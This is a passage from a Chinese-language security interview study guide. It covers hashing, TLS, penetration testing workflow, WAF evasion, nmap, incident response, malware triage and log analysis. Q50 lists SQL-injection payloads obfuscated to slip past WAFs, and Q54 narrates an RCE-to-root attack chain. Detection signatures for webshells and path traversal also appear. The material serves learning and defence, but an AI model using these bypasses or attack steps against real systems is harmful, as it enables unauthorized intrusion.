  ❌ md5(password)              —— 撞库表直接反查
10
  ❌ md5(password+固定盐)       —— 彩虹表预算一次照样破
11
  ✅ bcrypt/scrypt/Argon2id     —— 自带随机盐 + 可调算力成本
12
     防御逻辑：GPU 爆破速度从 每秒百亿次 → 每秒千次 量级
13

14
哈希 vs 加密 vs 编码（经典辨析）：
15
  编码  base64      目的:传输表示   谁都能还原   不是安全措施!
16
  加密  AES/RSA     目的:保密       有密钥才能还原
17
  哈希  SHA-256     目的:完整性     不可还原(设计目标)

追问预警：

• 追问：什么是长度扩展攻击？ → MD5/SHA-1/SHA-2 采用 Merkle–Damgård 结构，已知 H(secret||message) 的摘要可继续计算 H(secret||message||padding||append)——服务器用”密钥拼接消息再哈希”做签名就会中招。防御：用 HMAC（内外双层哈希，结构上免疫）。

Q43. 什么是加盐？彩虹表是什么？#

一句话答案：彩虹表是”预计算的 哈希→明文 大字典”，以空间换时间撞库；加盐是给每个密码拼一段随机值再哈希，让预计算失效——每个盐都要单独爆破。

面试话术：

“彩虹表本质是拿海量存储换爆破时间：提前把常见密码的哈希全算好存成表，拿到库里的哈希一查就反查出明文。加盐的思路是’让每个用户的哈希都不一样’——存密码时生成随机盐，拼进密码一起哈希，盐和哈希一起存。攻击者的彩虹表是按’无盐哈希’预计算的，遇到带盐的全作废；就算为某个盐重新爆破，也只能破这一个用户，不能横向复用。”

知识点深讲：

1
无盐存储：
2
  存储: md5("123456") = e10adc3949ba59abbe56e057f20f883e
3
  攻击: 撞库表一查即中，且全库同密码用户一锅端
4

5
加盐存储：
6
  存储: salt = "x8!kQ"（随机生成，每用户唯一）
7
        md5("123456" + "x8!kQ")，salt 与哈希同存
8
  攻击: ① 预计算表全废（盐不在预计算里）
9
        ② 想破必须对该盐单独跑字典——每用户都要重来一遍
10
  ⚠️ 盐要"每用户唯一且随机"，用用户名当盐是伪盐（用户名可预测）
11

12
密码存储演进（说全了是亮点）：
13
  裸哈希 → 加盐哈希 → 慢哈希(bcrypt, cost=12 每次约 250ms)
14
  → 内存困难哈希(Argon2id, 抗 GPU/ASIC)

追问预警：

• 追问：盐需要保密吗？ → 不需要。盐的作用是”破坏预计算复用”，不是秘密——存在数据库里跟哈希一列即可。真正要保密的是密钥（HMAC 的 key、加密的 key）；把”盐”当”密钥”保密是概念混淆。

Q44. 数字签名和数字证书是什么关系？#

一句话答案：签名是”用私钥对消息哈希加密，任何人拿公钥验真伪”；证书是”CA 用自己的私钥给你的公钥签的名”——解决”这个公钥到底是谁的”信任问题。

面试话术：

“先有签名：发送方对消息算哈希，用自己私钥加密这个哈希，就是签名；接收方用公钥解出哈希、再自己算一遍比对——同时证明了’是他发的’（只有他有私钥）和’没被改过’（哈希一致）。但公钥本身是裸数据，我怎么确认’这把公钥真是银行的’？于是有了证书：CA（受信任的第三方）验证你的身份后，把’你的身份+你的公钥’打包，用 CA 私钥签名——浏览器内置了根 CA 公钥，逐级验签到你的证书，信任链就闭环了。”

知识点深讲：

1
签名流程（发送方 A → 接收方 B）：
2
  ① H = SHA256(消息)
3
  ② 签名 s = RSA_sign(A的私钥, H)
4
  ③ 发送 (消息, s)
5
  ④ B: SHA256(消息) ?= RSA_verify(A的公钥, s)   → 一致即"确实A发且未被篡改"
6

7
证书链验证（HTTPS 握手时浏览器做的事）：
8
  根CA证书（预装在系统/浏览器，自签名的信任锚）
9
    ↓ 验签
10
  中间CA证书（根CA给中间CA签的）
11
    ↓ 验签
12
  网站证书（中间CA给域名签的：域名+公钥+有效期）
13
  逐级检查：签名有效 + 域名匹配 + 未过期 + 未吊销(OCSP/CRL)
14

15
密码学中的"签字+封缄"组合（完整性+保密性一起）：
16
  签名(我的私钥) → 加密(对方公钥) 的顺序：先签后加密

追问预警：

• 追问：验签用公钥，那怎么防”公钥被替换”？ → 这正是证书解决的问题——公钥不是裸传的，是裹在证书里、带着 CA 签名传递的。信任的起点是预装的根证书库（操作系统/浏览器维护），而不是网络传输。

Q45. HTTPS 里的非对称、对称、哈希分别干了什么？#

一句话答案：非对称递钥匙（密钥交换），对称扛数据（会话加密），哈希做完整性（握手摘要/证书签名/finished 消息）。

面试话术：

“HTTPS 是三种密码学原语的协作：握手阶段用非对称（ECDHE）协商出对称会话密钥——解决’钥匙怎么安全递’；握手本身用哈希做完整性校验，Finished 消息就是把之前所有握手消息的哈希加密传过去，防握手被篡改；之后的应用数据全走对称加密（AES-GCM），性能扛得住。证书验证又叠了一层：CA 对证书的签名本质是’CA 私钥对证书哈希的签名’。一次 HTTPS，把’交换、加密、完整性、身份认证’四大需求全占齐了。”

知识点深讲：

1
需求            →  密码学组件             →  在 HTTPS 里的落点
2
密钥交换        →  ECDHE（非对称）        →  ClientKeyExchange 消息
3
身份认证        →  数字证书 + CA 签名     →  Certificate 消息 + 证书链验证
4
数据保密        →  AES-GCM（对称）        →  会话密钥加密应用数据
5
数据完整性      →  AEAD 认证标签 / 哈希   →  GCM tag、握手 Finished 哈希
6
前向安全        →  临时密钥（ECDHE 的 E） →  会话密钥与服务器私钥无关

追问预警：

• 追问：TLS 1.3 相比 1.2 快在哪？ → 握手从 2-RTT 降到 1-RTT（会话复用时 0-RTT）；砍掉 RSA 密钥交换只留 ECDHE（强制前向安全）；删光弱算法（RC4/DES/CBC 静态 RSA 等历史包袱）。

Q46. base64 是加密吗？（编码/加密/哈希辨析）#

一句话答案：不是。base64 是编码——把二进制变成 64 个可打印字符的表示法，无密钥、任何人可逆，目的是”传输表示”不是”保密”。

面试话术：

“面试遇到这题要旗帜鲜明：base64 是编码不是加密，判断标准就一条——有没有密钥参与。base64 是 3 字节二进制变 4 个可打印字符的数学换算，无密钥、确定、可逆，像把中文翻译成拼音，不是藏起来。CTF 和 webshell 里 base64 满天飞，作用是’变形绕过关键词过滤’和’让二进制数据过文本通道’，从不是保密。同理 URL 编码、hex、Unicode 转义都是编码。真正的加密必须有密钥：AES、RSA。哈希则是不可逆的摘要。”

知识点深讲：

1
三类操作一张表分清：
2
           有密钥?   可逆?    典型             目的
3
  编码     ✗         ✓        base64/hex/URL   传输表示、变形绕过
4
  加密     ✓         ✓(持钥)  AES/RSA          保密
5
  哈希     ✗         ✗        SHA-256/MD5      完整性、指纹
6

7
base64 细节（CTF 常用判断点）：
8
  字符集  A-Z a-z 0-9 + / （URL-safe 变体换 - _）
9
  填充    末尾 = 号（0/1/2 个，长度必是 4 的倍数）
10
  体积    膨胀 4/3（3 字节 → 4 字符）
11
  辨认    无 = 号时也常以大写字母+数字混合出现——先无脑试解码
12
  ⚠️ 解码循环要判断"像不像合法 base64"，否则普通英文会被
13
     b64decode 硬解出乱码（Python 默认忽略非法字符的坑）

追问预警：

• 追问：为什么日志里 webshell 爱用 base64？ → 一石三鸟：绕关键词检测（eval(base64_decode(…)) 静态特征变了）、让 payload 过”只允许可打印字符”的通道、多层套娃增加人工分析成本。对应检测思路就是解一层看一层+特征还原（你 07 脚本的思路）。

Q47. 渗透测试的标准流程？#

一句话答案：授权 → 信息收集 → 漏洞扫描/验证 → 利用 getshell → 后渗透（提权/横向）→ 报告 → 复测——授权在第一步，没有授权就是非法入侵。

面试话术：

“我按 PTES 流程说：先签授权书明确范围（IP 段、域名、能不能打内网能不能社工），这是法律红线。然后信息收集：子域、端口、指纹、目录、历史泄露。漏洞侧工具扫+人工验证，扫出的是’疑似’，必须手工复现确认。利用阶段拿到立足点，后渗透做提权和横向，全程克制——目标是证明风险不是搞破坏，敏感数据只截图证据不外带。最后输出报告：漏洞+复现步骤+风险等级+修复建议，修复后复测闭环。”

知识点深讲：

1
完整链条（每个环节都有工具代表作）：
2
  ① 授权       授权书/SOW（范围、时间窗口、禁止动作）        —— 法律边界
3
  ② 信息收集   被动: whois、子域枚举、Google Hack、证书透明度日志
4
               主动: 端口扫描(nmap)、目录(ffuf/dirsearch)、指纹(wappalyzer)
5
  ③ 漏洞发现   awvs/nessus/xray 自动扫 + 人工业务逻辑测试
6
  ④ 漏洞验证   手工复现，区分"扫描器误报"和"真实可利用"
7
  ⑤ 利用       Web 漏洞 getshell / 弱口令 / 公开 EXP
8
  ⑥ 后渗透     提权(sudo -l/SUID/内核)、内网横向、权限维持、痕迹（红队才清）
9
  ⑦ 报告       风险定性(CVSS)+证据截图+复现步骤+修复建议
10
  ⑧ 复测       修复验证，闭环
11

12
黑盒/灰盒/白盒：
13
  黑盒  只给域名/IP，从零开始 —— 最接近真实攻击者
14
  灰盒  给部分信息（如普通用户账号）—— 测横向和越权
15
  白盒  给源码/架构 —— 代码审计路线

追问预警：

• 追问：渗透测试和漏洞扫描的区别？ → 扫描是自动化地”发现已知漏洞特征”，覆盖广但误报多、逻辑漏洞无能；渗透是专家驱动地”验证并利用”，能打穿业务逻辑但成本高。工程上是”扫先行、渗验证”的组合拳。

Q48. 信息收集你一般怎么做？有哪些手段？#

一句话答案：被动收集（不碰目标：whois、子域枚举、搜索引擎、证书日志）+ 主动收集（直接交互：端口、目录、指纹）。

面试话术：

“被动先行——不与目标直接交互，不留痕：whois 看注册人邮箱（反查他名下其他资产）、crt.sh 查证书透明度日志拿子域、Google 语法 site: 目标站 filetype 找泄露、GitHub 搜企业邮箱和 key、FOFA/Shodan 查暴露资产。主动阶段：nmap 全端口摸服务、dirsearch/ffuf 跑目录、wappalyzer 和响应头指纹框架版本、js 文件里翻 API 接口和硬编码密钥。原则是被动拿到的情报越多，主动打的噪音越小。”

知识点深讲：

追问预警：

• 追问：FOFA 语法举例？ → domain="target.com"（收录资产）、body="登录" && country="CN"（正文关键词）、icon_hash="xxx"（favicon 反查同模板站点）、cert="target.com"（证书含目标域）——空间测绘是资产收集效率之王。

Q49. 常用的漏扫工具和利用框架？各自定位？#

一句话答案：Nessus/AWVS/xray 管扫描，Burp Suite 管手工代理测试，sqlmap 专打注入，Metasploit 是漏洞利用框架，cs/msf 是红队 C2。

面试话术：

“按定位分：综合漏扫 Nessus（主机层）、AWVS/xray（Web 层）；手工测试我主力 Burp Suite——拦截改重放、Repeater 调 payload、Intruder 爆破，插件生态是灵魂；注入专项 sqlmap；利用框架 Metasploit 一条龙（搜模块、配置、exploit、后渗透）；nuclei 用 YAML 模板跑 PoC 很适合批量验证新披露漏洞。说的时候我会补一句：工具只是放大器，判断漏洞真伪和构造利用链靠脑子。”

知识点深讲：

追问预警：

• 追问：Burp 必会模块？ → Proxy（抓改包）、Repeater（手工重放调 payload——最常用）、Intruder（爆破，四种模式记 Sniper 和 Pitchfork）、Decoder（编码转换）、Comparer（对比响应）。插件推荐：HaE（信息高亮）、Turbo Intruder（高性能爆破）。

Q50. WAF 怎么识别？怎么绕过？#

一句话答案：识别看指纹（拦截页特征/响应头/cookie）和探测（发恶意 payload 看拦截行为）；绕过思路是”变形降维”——编码、分块、大小写、注释分割、参数污染、内网直连。

面试话术：

“识别 WAF：一是看拦截页指纹——各家 WAF 拦截页长得很有个性（安全狗、阿里云、Cloudflare 都有标志）；wafw00f 工具自动指纹；二是主动发个 union select 看拦截行为和响应头。绕过的核心哲学是’让规则匹配不到，但数据库还认得’：大小写混合 uNiOn sElEcT、注释分割 SE/**/LECT、URL 双重编码、分块传输编码让规则引擎看不全请求、超长参数垃圾填充把规则区挤出去、HPP 参数污染让后端解析歧义。终极一招：找到真实 IP 直连（源站泄露/历史 DNS），从源站打就根本没 WAF。”

知识点深讲：

1
绕过手法对照（规则引擎的痛点即绕点）：
2
  大小写/双写   UniOnUnIoN SELECT      —— 部分规则只匹配一次替换
3
  注释分割      UN/**/ION SEL/**/ECT   —— 关键词中间插注释
4
  编码变形      %75nion（url 双编码）   —— 解码层次差异
5
  分块传输      Transfer-Encoding: chunked，把 payload 切成小块
6
  垃圾填充      参数前塞 10000 个字符    —— 规则只检前 N 字节
7
  HPP          ?id=1&id=UNION SELECT   —— 中间件取值歧义（取最后一个/第一个）
8
  白名单通道    伪造成扫描器 UA（sqlmap/awvs）走 WAF 信任的白名单
9
  协议层面      HTTP/2、WebSocket 通道（部分 WAF 解析不全）
10

11
釜底抽薪：找源站真实 IP
12
  历史 DNS 解析记录、证书透明度、SSRF 当跳板、favicon 哈希搜源站

追问预警：

• 追问：WAF 的三种部署方式？ → 透明串接（镜像引流回注）、反向代理（流量先过 WAF，最主流）、云 WAF（改 CNAME 接入，零部署）。各自性能与覆盖的差异是选择依据。

Q51. nmap 的常用参数和扫描方式？#

一句话答案：-sV 服务版本、-O 系统、-p- 全端口、-sS SYN 半开扫描、-A 全 aggressive、--script 跑 NSE 脚本。

面试话术：

“实战我常起手 nmap -sV -p- -T4 目标——全端口加服务识别，T4 提速。 SYN 扫描 -sS 是半开扫描：只发 SYN 收到 SYN+ACK 就 RST 掉，不完成握手，隐蔽且快，但需要 root。服务识别之外，NSE 脚本是宝藏：--script=vuln 跑漏洞类脚本，--script=http-title 快速看 Web 标题。防火墙严的场景加 -Pn（跳过 ping 存活判断，不然 nmap 以为主机不在线直接不扫）。”

知识点深讲：

1
参数速查：
2
  -sT / -sS     全连接 / SYN 半开（快、隐蔽，需 root）
3
  -sU           UDP 扫描（慢，DNS/SNMP 场景必用）
4
  -sV           服务版本探测（看到 8080 是 Tomcat 还是 Jenkins 全靠它）
5
  -O            操作系统猜测（提权选内核 EXP 的前提情报）
6
  -p / -p-      指定端口 / 全 65535 端口
7
  -A            = -sV -O --script=default --traceroute 一把梭
8
  -T0~T5        时序，T4 快扫，T0 慢得离谱（ IDS 规避用）
9
  -Pn           跳过主机发现（禁 ping 的目标必加）
10
  --script=vuln / smb-vuln-ms17-010    NSE 漏洞脚本（直接报永恒之蓝）
11

12
输出习惯：-oN 保存普通报告，-v 显示过程

追问预警：

• 追问：SYN 扫描为什么快又隐蔽？ → 快：不等第三次握手完成就判端口状态（收到 SYN+ACK 即开放），每个端口省一个往返；隐蔽：应用层从未建立连接，多数应用日志不记录——但 IDS/IPS 看得到 SYN 洪泛特征，所以是”应用层隐蔽”不是”网络层隐身”。

Q52. 什么是 CVE/CNVD/CNNVD？怎么跟踪新漏洞？#

一句话答案：CVE 是全球漏洞统一编号（MITRE 维护），CNVD/CNNVD 是国家漏洞库；跟踪靠 NVD、厂商公告、安全资讯和公众号情报源。

面试话术：

“CVE 是漏洞的’身份证号’——同一个漏洞全球用同一编号引用，格式 CVE-年份-序号；评分体系常见 CVSS（3.1 版 0~10 分），7.0 以上算高危。国内对应国家库 CNVD 和 CNNVD，等保环境更看国内编号。跟踪渠道：NVD 官方库查详情、各大厂 PSIRT 公告（微软月度补丁日、Oracle 季度 CPU）、Exploit-DB/GitHub 看有没有现成 EXP——有公开 EXP 的中危比没 EXP 的高危更紧急，这是运营优先级的关键判断。”

知识点深讲：

1
漏洞生命周期管理（安服运营视角）：
2
  披露 → 编号(CVE) → 评分(CVSS) → 厂商补丁 → 情报扩散 →（攻击方武器化）
3

4
情报源分层：
5
  官方     NVD、CNVD、CNNVD、CISA KEV（已知被在野利用清单——最优先修）
6
  厂商     微软 Patch Tuesday、Red Hat Errata、Apache OSS 安全页
7
  社区     先知社区、Twitter/X 安全圈、GitHub PoC 仓库监控
8
  商业     微步在线、奇安信威胁情报（IOC+溯源）
9

10
CVSS 三大维度（了解评分怎么来的）：
11
  基础分    攻击向量(AV)/复杂度(AC)/权限(PR) + 影响(C/I/A)
12
  时间分    补丁成熟度、EXP 可用性随时间变化
13
  环境分   结合本企业资产重要性调整

追问预警：

• 追问：CVSS 高分就一定先修吗？ → 不。结合资产暴露面（互联网可达?）+利用条件（需认证?）+在野利用情报（CISA KEV）综合排优先级——内网系统的高分漏洞，紧迫性可能低于公网低分但已被批量利用的洞。

Q53. 红队、蓝队、紫队分别做什么？#

一句话答案：红队模拟攻击（贴近真实 APT 的全链路对抗），蓝队防守（监测、研判、处置），紫队是把两边撮合在一起的”对抗演练编排”。

面试话术：

“红队按真实攻击者的杀伤链打：从钓鱼邮件、边界突破到内网横向、拿域控，全程隐蔽规避检测，考核的是’防得防不住’。蓝队反着来：7×24 监测告警、研判误报、溯源反制，护网里的蓝队还包括安全设备调优和加固。紫队最有意思——它不是第三支队伍，而是流程：红蓝同场对抗、实时复盘，攻击方每一步动作对应防守方哪条告警、为什么漏了，把’演练’变成’体系化改进’。”

知识点深讲：

1
护网红队典型时间线（了解节奏感）：
2
  第1周   人员社工（钓鱼、简历投递）+ 边界资产测绘
3
  第2周   边界突破（VPN/邮件网关/OA 漏洞）拿初始立足点
4
  第3周   内网横向（凭据窃取、Pass-the-Hash）逼近核心区
5
  第4周   目标达成（域控/核心库打点截图）+ 痕迹处理（授权范围内）
6

7
杀伤链模型（Lockheed Martin Cyber Kill Chain，答题的框架感）：
8
  侦察 → 武器化 → 投递 → 利用 → 安装 → C2 → 行动
9
  防守方思路：任一环打断，攻击就失败（所以蓝队监控点覆盖越靠前越好）
10

11
ATT&CK 框架：把攻击行为拆成战术-技术-流程的知识库，
12
  红队用它规划攻击面，蓝队用它对照检测覆盖度（差距分析）

追问预警：

• 追问：护网是什么？ → 国家级关键信息基础设施实战攻防演练，每年集中数周，红蓝真刀真枪对抗；企业侧会重金加固，安全岗招聘旺季也在这个节点前后。

Q54. 讲一次你完整拿下目标的过程（压轴经验题）#

一句话答案：（模板）资产测绘发现边缘资产 → 指纹定位已知漏洞 → getshell → 提权横向 → 达成目标，突出”决策点”。

面试话术（用你的 CTF 经验/靶场经历填充）：

“拿一次完整 Web 打靶举例：信息收集发现目标用的是老版本 ThinkPHP，目录扫描还翻出了 /application 备份目录——先尝试已知 RCE（ThinkPHP 5.x 的 invokeFunction 反序列化），直接拿下 webshell。但权限是 www-data 低权，提权阶段看 sudo -l 没戏，find SUID 找到带 -exec 的 find，getshell 升到 root。之后读数据库配置拿凭据，撞库后台管理员，完成整条链。复盘时我会强调三个决策点：为什么先打边缘资产（防护弱）、为什么选这个 EXP（指纹匹配而非乱试）、提权为什么先查 sudo 后查 SUID（成本从低到高）。”

知识点深讲：

1
讲好"完整链"的五个要素：
2
  1. 有起点      信息收集怎么发现入口（体现主动发现能力）
3
  2. 有决策      每一步为什么这么选（体现思路而非工具堆砌）
4
  3. 有坎坷      遇到的坑和绕过（真实感 + 解决能力）
5
  4. 有终点      最终拿到什么（权限/数据，量化成果）
6
  5. 有复盘      学到什么、防守方该怎么修（体现双向思维）
7

8
安全岗最看重的不是"打下来了"，而是"每一步为什么"
9
——工具谁都会按回车，判断力才是稀缺品。

追问预警：

• 追问：如果目标打不下来呢？ → 讲”卡住后的止损思路”：换攻击面（Web 不行试钓鱼/供应链/物理）、换时间（低峰再试）、换视角（找历史泄露的凭据）。面试官想听的不是永远成功，而是”卡住时有没有系统性 Plan B”。
• 追问：这个过程中如果发现真实 0day 怎么处理？ → 停止利用（授权范围外）、留证据、走负责任披露流程（厂商 SRC/CNVD 报告）——展示合规意识，这对甲方岗位尤其加分。

Q55. 应急响应的标准流程？#

一句话答案：隔离止损 → 证据保全 → 排查分析 → 清除加固 → 复盘报告；顺序千万不能乱——先拔线止损常见错误是”直接重装”（毁证据）。

面试话术：

“我按 PDCERF 模型说：准备、检测、遏制、根除、恢复、跟进。实战接到报案第一件事是问清楚现象和时间（什么异常、什么时候发现的），然后隔离止损——断网但不关机（内存里的证据关机就没了，需要保持现场）。第二步证据保全：内存镜像、磁盘镜像、日志打包带走，全程记录操作时间做取证链。然后才进入排查：入口在哪、影响范围多大、有没有持久化。根除之后恢复业务，最后复盘输出报告。最常见的错误操作就是客户自己先把机器重装了——攻击路径全丢，下次原样再中。”

知识点深讲：

1
PDCERF 六阶段：
2
  Preparation   准备       平时的预案、工具包、联系矩阵
3
  Detection     检测       确认事件真实性、影响面初判
4
  Containment   遏制       断网隔离（保内存！）、封禁 IOC、改密
5
  Eradication   根除       定位入口、清后门、补漏洞
6
  Recovery      恢复       备份恢复上线、加强监控观察期
7
  Follow-up     跟进       报告、溯源、改进措施落地
8

9
黄金法则：
10
  ① 先保全后分析（证据只有一次机会）
11
  ② 操作可回溯（每一步记录时间戳和命令）
12
  ③ 业务止损和取证平衡（重要系统可做"镜像后离线分析"）
13
  ④ 不轻易删除"可疑文件"——先取证再根除，删了就断线索链

追问预警：

• 追问：为什么不能直接关机？ → ① 内存里有加密密钥、进程注入痕迹、网络连接表——关机全丢；② 无文件攻击唯一证据在内存；③ 正确做法：网络隔离（拔网线/封端口）+ 内存镜像（Volatility/DumpIt）+ 磁盘镜像后分析。

Q56. Linux 被入侵了，你的排查思路？#

一句话答案：从”异常现象”入手，按”账号→进程→网络→文件→日志→持久化”六路排查，交叉印证时间线。

面试话术：

“先问清现象：CPU 高？可疑外连？数据被改？假设是挖矿通报。我按六路走：账号——/etc/passwd 找新增用户和 UID 0 异常，last/lastb 看登录历史里陌生 IP；进程——top 看 CPU 占用、ps auxf 看进程树里爹不明的；网络——ss -antup 直接看外连（挖矿/C2 的一手证据）；文件——find -mtime 圈攻击时间窗，重点 /tmp /dev/shm 和 Web 目录；日志——secure 看 SSH 登录、access.log 找攻击入口；持久化——crontab、systemd unit、authorized_keys 过一遍。最后把六路证据按时间线串起来：几点几分哪个 IP 登录、几点落盘、几点起外连，攻击路径就显形了。”

知识点深讲：

1
六路排查清单（背熟这张表）：
2
  账号    /etc/passwd（UID 0？）  last/wtmp  lastb  ~/.ssh/authorized_keys
3
  进程    ps auxf（找爹）   top（CPU）  ls -l /proc/PID/exe（进程真身路径）
4
  网络    ss -antup（外连+监听）   lsof -i   iptables -L（规则被改没）
5
  文件    find / -mtime -3 -type f   重点: /tmp /dev/shm /var/www
6
         大文件(挖矿程序) 小脚本(后门)  lsattr（看隐藏属性 chattr +i）
7
  日志    secure/auth.log   bash_history   nginx access.log   journalctl
8
  持久化  crontab -l + /etc/cron*   systemctl list-unit-files
9
         /etc/rc.local   ld.so.preload   ~/.bashrc
10

11
时间线串联法（把证据变故事的技法）：
12
  文件 mtime 排序 + 登录时间 + 外连首现时间 三条线对齐
13
  → "21:03 恶意进程落盘 ← 21:01 SSH 疑似爆破成功 ← 20:55 起大量 Failed"
14
  → 入口=SSH 爆破，证据链闭环

追问预警：

• 追问：发现挖矿进程 kill 掉又起来了怎么办？ → 说明有父进程/持久化在拉它：① ps auxf 看进程树找父进程；② kill 前先记录 /proc/PID/exe 真身路径和 cmdline；③ 查 crontab 和 systemd timer——“守护型”挖矿是标配；④ 断网再处理（防 C2 下发重启指令）。

Q57. Windows 被入侵/中了勒索病毒，排查和处置？#

一句话答案：勒索先断网保现场（加密还在进行时断网能止损）、评估备份；排查走账号/进程/网络/持久化/事件日志五路；处置优先”备份恢复”而不是交赎金。

面试话术：

“勒索病毒的第一原则是止损优先：还在加密过程中就立刻断网关机（拔网线，保住还没加密的共享盘）。然后三件事：确认勒索家族（勒索信内容、加密后缀，上 ID Ransomware 识别，判断有没有公开解密器）、清点损失（哪些资产被加密、备份是否干净隔离）、溯源入口（RDP 爆破最常见，事件日志 4625 连串+成功登录的时间点）。恢复上坚持’干净备份恢复 + 全盘重装’，绝不建议交赎金——助长犯罪且约半数交了也不给解。处置完必须堵入口：改密+关 3389 公网+补洞，不然一周后原样再中。”

知识点深讲：

1
勒索事件处置决策树：
2
  发现加密现象
3
    ├─ 还在加密中 → 立即断网（拔线）→ 关机 → 保现场
4
    └─ 已停止     → 保持现状（别乱点文件）→ 镜像取证
5

6
  识别家族    勒索信 + 加密后缀 + ID Ransomware（nomoreransom.org）
7
    ├─ 有公开解密器 → 拿密钥解
8
    └─ 没有          → 备份恢复 / 重装（赎金最后选项且有信用风险）
9

10
  溯源五路（同 Q38）：
11
    4625 连串（RDP 爆破）→ 4624 成功点（得手时间）
12
    4720 建号 → 计划任务/Run 键持久化 → 外连 C2（netstat）
13
    高发入口排行: RDP公网爆破 > 邮件附件 > 漏洞(如老 VPN) > 僵尸内网传播
14

15
预防体系（说出体系感是加分项）：
16
  备份 3-2-1 原则（3 份副本、2 种介质、1 份离线）
17
  关键端口不暴露公网、微隔离遏制横向、EDR+蜜罐快速告警

追问预警：

• 追问：为什么勒索软件现在专挑备份先下手？ → 现代勒索是”双重勒索”：先窃数据（威胁曝光）再加密（威胁停摆），并且会主动寻找和加密/删除网络备份（Volume Shadow Copy 常被 vssadmin 清掉）——所以离线备份是唯一可信兜底，vssadmin list shadows 被执行的痕迹也是溯源证据。

Q58. 排查一台服务器上的挖矿病毒？#

一句话答案：现象（CPU 100%/异常外连）→ 定位进程（top/资源监视器）→ 不急 kill 先取证 → 挖出守护方（父进程/定时任务）→ 断网根除 → 补入口。

面试话术：

“挖矿最好认：CPU 莫名飙满，top 一看一个不知名进程占 800%。但别急着 kill——先 /proc/PID/exe 确认真身路径、ps auxf 看它爹是谁、cmdline 记下来。然后找守护：Linux 查 crontab 和 systemd timer，Windows 查计划任务和服务，‘kill 了又活’就是有守护方。再查外连 ss -antup，矿池地址（stratum 协议端口 3333/4444 常见）确认家族。根除按’文件-进程-持久化-入口’四步清，最后必须回答一个问题：它是怎么进来的——挖矿只是结果，入口才是病根，常见是 Redis 未授权、Web 漏洞或弱口令。”

知识点深讲：

1
挖矿排查路径图（Linux 版）：
2
  top 异常进程 PID
3
    → ls -l /proc/PID/exe        挖矿程序真身（常在 /tmp /dev/shm）
4
    → ps auxf | grep PID         父进程是谁（守护进程或 bash）
5
    → cat /proc/PID/cmdline      完整命令行（常含矿池 URL 和钱包地址）
6
    → ss -antup | grep PID       外连矿池
7
    → crontab -l / system timer  定时任务守护（kill 掉复活的元凶）
8
    → 清理: kill -9 全家桶 → 删程序与任务 → 断网观察
9
    → 溯源: 时间窗内 secure 日志 + Web 日志找入口
10

11
高感染入口对照（背了就是"经验感"）：
12
  Redis 未授权    直接写 crontab
13
  Web 漏洞        getshell → 落盘挖矿程序
14
  SSH/中间件弱口令 爆破进来
15
  容器逃逸        K8s 集群 2375 端口裸奔（见第十章）

追问预警：

• 追问：怎么防挖矿横向到内网其他机器？ → 微隔离（安全组只放业务必需端口）、消除共享弱口令（一台的密码别全网通用）、内网 IDS 对 stratum 协议和异常外连告警；治理根因是收敛入口暴露面。

Q59. 怎么分析 Web 日志还原攻击路径？（你的主场题）#

一句话答案：格式化解析 → 统计维度（IP 频次/URL 频次/状态码分布）→ 特征匹配（注入/webshell UA）→ URL 解码后再匹配 → 时间线对齐入口。

面试话术：

“这题我可以直接拿写过的脚本讲思路：第一步用正则把 nginx combined 格式逐行解析成结构化字段（IP、时间、方法、路径、状态码、UA）；第二步统计——IP 请求量 TopN 直接暴露扫描器，404 率异常的 IP 是目录爆破，单 IP 高频 POST 到同一个 .php 是 webshell 连接的形状；第三步特征匹配，注入的 union select、穿越的 ../、webshell 的 eval/base64_decode；关键一步是 URL 解码后再匹配——攻击语句常被编码伪装，不解码直接匹配会漏掉大半；日志里的 base64 参数块再做还原。最后按时间线把’扫描→注入成功→webshell 上传→连接’串成故事，攻击路径自然就出来了。”

知识点深讲：

1
日志分析五步法（可直接落地的框架）：
2
  ① 解析     正则拆字段（combined 格式正则要熟）
3
  ② 统计     Counter：IP 频次、URL 频次、状态码分布、UA 分布
4
  ③ 特征     规则库匹配: SQLi/穿越/探测/webshell 关键词
5
  ④ 还原     unquote URL 解码 + base64 尝试解码（解码后二次匹配）
6
  ⑤ 串线     时间轴: 疑似行为按时间排序 → 入口→横移→落地的故事线
7

8
告警信号速查表：
9
  大量 404                    目录扫描（扫描器 UA: python-requests/masscan）
10
  同 URL 高频 POST 均 200     webshell 连接（UA 是 AntSword/菜刀更实锤）
11
  URL 含 union select/eval(   注入/代码执行尝试（解码后判定）
12
  ../etc/passwd               目录穿越
13
  单 IP 短时间海量请求        CC 攻击或爬虫
14
  深夜时段的成功登录+操作      高危时段规则

追问预警：

• 追问：日志量几个 G 怎么办？ → ① 不全量加载，逐行流式处理（你的 07 脚本就是）；② 先用 grep/awk 粗筛可疑关键词再细分析；③ 正经方案是 ELK/ClickHouse 落地后 SQL 聚合；④ 事后取证推荐把日志拉到独立分析机，不在生产上跑重任务。

Q60. 什么是蜜罐？应急里怎么用？#

一句话答案：蜜罐是”故意暴露的假目标”——没人访问的诱饵服务被碰了就是攻击信号；应急中用于捕获样本、拖延攻击者、溯源。

面试话术：

“蜜罐的价值在于信噪比极高：正常用户永远不会碰那个假的 Redis、假的登录页，任何一次触碰都天然是恶意。企业里常部署低交互蜜罐（模拟协议指纹）撒在内网各角落——攻击者横向扫描时一碰蜜罐，SOC 立刻拿到高置信度告警，等于内网里的’红外报警器’。高交互蜜罐（真实系统）更进一步，能采集攻击工具和手法。溯源上蜜罐能记录攻击者 IP、payload、甚至浏览器指纹。注意合规边界：蜜罐是’被动诱捕’，不能主动诱导违法，记录要留证。”

知识点深讲：

1
蜜罐分类：
2
  低交互    模拟协议端口（22/3306/6379 假 banner）   资源省、检测快
3
  高交互    真实服务的沙箱化系统                    能采集完整行为与样本
4
  蜜网      多个蜜罐组网 +  honeywall 流量控制
5
  陷坑文件  假的 '密码表.xlsx' 放共享盘，谁打开谁触发（内部威胁利器）
6

7
应急/防御侧价值：
8
  检测      内网横向扫描的第一声警报（早于实际损害）
9
  拖延      攻击者时间耗在假目标上，真资产被保护的窗口变长
10
  采集      payload、0day 样本、攻击者基础设施 IP
11
  溯源      记录完整会话可作证据链
12

13
常用实现：HFish（国产，企业内网蜜罐事实标准）、Cowrie（SSH 蜜罐）、
14
        opencanary（多协议低交互）

追问预警：

• 追问：蜜罐和 IDS 的区别？ → IDS 是”看真实流量找恶意特征”（有误报），蜜罐是”假的，碰了才响”（近零误报但覆盖面窄）；防御体系里互补：IDS 管广度，蜜罐管精度。

Q61. 内网渗透的整体思路？#

一句话答案：拿到边界立足点 → 收集内网信息（网段/凭据/域）→ 横向移动扩大战果 → 权限维持 → 拿下核心目标（域控/数据库）。

面试话术：

